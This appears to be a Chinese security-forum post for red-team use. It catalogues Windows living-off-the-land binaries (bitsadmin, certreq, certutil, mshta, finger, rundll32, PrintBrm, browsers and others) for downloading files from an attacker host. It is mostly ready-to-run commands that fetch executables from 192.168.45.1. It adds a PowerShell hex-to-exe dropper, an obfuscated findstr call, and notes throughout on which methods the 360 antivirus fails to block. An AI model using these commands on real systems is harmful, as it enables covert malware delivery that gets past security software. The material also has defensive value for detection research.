windows下远程文件下载常见手法总结
Arcueid 发表于 浙江 技术文章 1742浏览 · 2024-10-18 16:16

windows下远程文件下载常见手法总结

总结一下win的远程文件下载 部分360依旧不拦截 给各位打攻防的时候一个参考

lolbins

Bitsadmin

bitsadmin /create foo 
bitsadmin /addfile foo http://192.168.45.1:4444/1.txt C:\Windows\temp\1.txt
bitsadmin /RESUME foo 
bitsadmin /info foo /verbose
bitsadmin /complete foo

或者

bitsadmin /transfer foo http://192.168.45.1:4444/1.txt C:\Windows\temp\1.txt

可以考虑短链接

其中360会拦截的点 /create /addfile /transfer

查询相关不拦截

如果目标机器存在firfox 可以尝试往任务里插入 可以绕过/create 但是不能addfile也意义不大

CertReq

certreq -POST -config http://192.168.45.1:8000/gen.py c:\windows\win.ini output.exe

下载 POST http://192.168.45.1:8000/gen.py 的响应到output.txt

360不杀 可以配合powershell解码16进制来落地exe

param(
    [string]$inputFile,
    [string]$outputFile
)

$hexString = Get-Content $inputFile -Raw
$hexString = $hexString -replace '\s+', ''

$byteList = New-Object System.Collections.Generic.List[byte]

for ($i = 0; $i -lt $hexString.Length; $i += 2) {
    $byte = [Convert]::ToByte($hexString.Substring($i, 2), 16)
    $byteList.Add($byte)
}

[System.IO.File]::WriteAllBytes($outputFile, $byteList.ToArray())

在后缀为exe时360会告警 但是还是执行了 点击阻止只会删除exe 这个跑起来的不管

powershell -ExecutionPolicy Bypass -File hex.ps1 1.txt exp.exe

Certutil

可以base64编解码 decode encode

hex编解码 decodehex encodehex

编码无限制 解码限制的比较死

文件下载 限制的很死

certutil.exe -urlcache -split -f http://192.168.45.1:44444/1.txt C:\Windows\Temp\1.txt

还看见另一种

certutil.exe -verifyctl -f -split http://192.168.45.1:44444/1.txt C:\Windows\Temp\1.txt

但是没有复现成功 这种360不杀 感兴趣的师傅可以研究一下https://x.com/egre55/status/1087685529016193025

type

先开启webdev服务 设置匿名访问

wsgidav --host=0.0.0.0 --port=80 --root=test --auth=anonymous

然后通过type来读文件

type \\192.168.45.1\DavWWWRoot\1.txt > 2.txt

cmdl

360会杀

设置所在目录权限 创建配置文件

icacls %cd% /deny %username%:(OI)(CI)(DE,DC)

[Connection Manager]
CMSFile=config
ServiceName=WindowsUpdate
TunnelFile=config
[Settings]
UpdateUrl=https://192.168.45.1:4444/1.txt

执行

cmdl32 /vpn /lan %cd%\config

会生成一个VPN开头的tmp文件

ConfigSecurityPolicy

360会杀

"C:\Program Files\Windows Defender\ConfigSecurityPolicy.exe" http://192.168.45.1:4444/1.txt

文件会被保存到%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE

可以通过

cmd.exe /c "where /r %LOCALAPPDATA%\Microsoft\Windows\INetCache *"

查找

Esentutl

360会拦截

还是先启一个webdev

wsgidav --host=0.0.0.0 --port=80 --root=test --auth=anonymous

esentutl /Y "\\192.168.45.1\DavWWWRoot\1.txt"

Expand

早上测拦 晚上恢复快照重新开的环境不拦了 不知道什么毛病

启webdev后 两个参数 一个源 一个目标

expand "\\192.168.45.1\DavWWWRoot\1.txt" "C:\Users\admin\Desktop\test\1.txt"

Extrac32

360会拦

启个webdev

extrac32 /c /Y "\\192.168.45.1\DavWWWRoot\1.txt" "C:\Users\admin\Desktop\test\1.txt"

Findstr

360 不拦截

启个webdev

fin""""ds""tr /^l /^V  1145141919810 "\\192.168.45.1\DavWWWRoot\calc.exe" > "C:\Users\admin\Desktop\test\calc.exe"

当找不到字符串1145141919810时候 下载calc

finger

360 不杀

serveragent的实现可以参考hyp3rlinx师傅的

https://hyp3rlinx.altervista.org/advisories/Windows_TCPIP_Finger_Command_C2_Channel_and_Bypassing_Security_Software.txt

hyp3rlinx师傅提供的poc是基于base64的 本地需要certutil解密 而certutil是会被杀的

使用方法如下 这里我想下载calc.exe 创建配置文件finger.conf

内容为calc.exe 在配置文件同目录需要存在calc.exe

修改darkfinger部分代码

python darkfinger.py -d -c finger.conf -p 79

finger "ca10@192.168.45.1" | more +2 > calc.txt

给10秒确保下完

这里360会拦certutil 那实际上finger的server没必要返回base64

他poc要base64主要是配合他的那个agent用的

agent的话还会拦截powershell的执行

这里操作空间挺大的 之后写个文章二开一下

Makecab

360会杀

webdev

makecab "\\192.168.45.1\DavWWWRoot\1.txt" "C:\Users\admin\Desktop\test\1.cab"

下载文件并转为cab压缩包 然后通过expand命令解压

Mshta

360会拦

Mshta http://192.168.45.1/calc.exe

下载的文件保存到%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE

可以通过

cmd.exe /c "where /r %LOCALAPPDATA%\Microsoft\Windows\INetCache *"

查找

Presentationhost

360不拦

下载的文件保存到%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE

Presentationhost http://192.168.45.1/calc.exe

运行后会通过ie下载文件 类似chrome的tmp 在浏览器未关闭 或 非正常关闭下 会保留

taskkill /im iexplore.exe /f

PrintBrm

360不杀

wsgidav --host=0.0.0.0 --port=80 --root=. --auth=anonymous

启一个webdev 在根目录下我创建了一个test文件夹 其中存在calc.exe

"C:\Windows\System32\spool\tools\PrintBrm.exe" -b -d "\\192.168.45.1\DavWWWRoot\test" -f 1.zip

后续可以通过powershell解压

Expand-Archive -Path "C:\Users\admin\Desktop\test\1.zip" -DestinationPath "C:\Users\admin\Desktop\test"

replace

360不拦

启个webdev

replace.exe \\192.168.45.1\DavWWWRoot\calc.exe C:\Users\admin\Desktop\test /A

Scrobj.dll

360 不杀

rundll32.exe C:\Windows\System32\scrobj.dll,GenerateTypeLib http://192.168.45.1/calc.exe

下载的文件保存到%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE

会弹个框 执行完kill了就好

taskkill /im rundll32.exe /f

shimgvw.dll

360 不杀

rundll32.exe C:\Windows\System32\shimgvw.dll,GenerateTypeLib http://192.168.45.1/calc.exe

下载的文件保存到%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE

会弹个照片查看器 父进程是rundll32 kill了就好

taskkill /im rundll32.exe /f

浏览器

firefox chrome edge

差不多

firefox 360不拦

"C:\Program Files\Mozilla Firefox\firefox.exe" http://192.168.45.1/1.bin
taskkill /im firefox.exe /f

chrome 360不拦

会拦截乱七八糟的后缀 但是其实问题不大

临时文件直接复制一份出来用即可

通过taskkill结束进程的话 临时文件也会保留

"C:\Program Files\Google\Chrome\Application\chrome.exe" http://192.168.45.1/calc.exe
taskkill /im chrome.exe /f

edge

"C:\Program Files (x86)\Microsoft\EdgeCore\129.0.2792.89\msedge.exe" http://192.168.45.1/calc.exe

参考

https://www.manageengine.com/log-management/correlation-rules/bitsadmin-for-file-download.html

https://lolbas-project.github.io/

https://x.com/egre55/status/1087685529016193025

https://mr0range.com/a-new-lolbin-using-the-windows-type-command-to-upload-download-files-81d7b6179e22

https://elliotonsecurity.com/living-off-the-land-reverse-engineering-methodology-plus-tips-and-tricks-cmdl32-case-study/#case-study

https://github.com/LOLBAS-Project/LOLBAS/pull/151

https://www.sentinelone.com/labs/living-off-windows-land-a-new-native-file-downldr/

https://x.com/egre55/status/985994639202283520

https://forum.butian.net/share/2772

https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/

https://hyp3rlinx.altervista.org/advisories/Windows_TCPIP_Finger_Command_C2_Channel_and_Bypassing_Security_Software.txt

https://www.bleepingcomputer.com/news/security/windows-10-finger-command-can-be-abused-to-download-or-steal-files/

https://x.com/notwhickey/status/1306023056847110144

0 条评论
某人
表情
可输入 255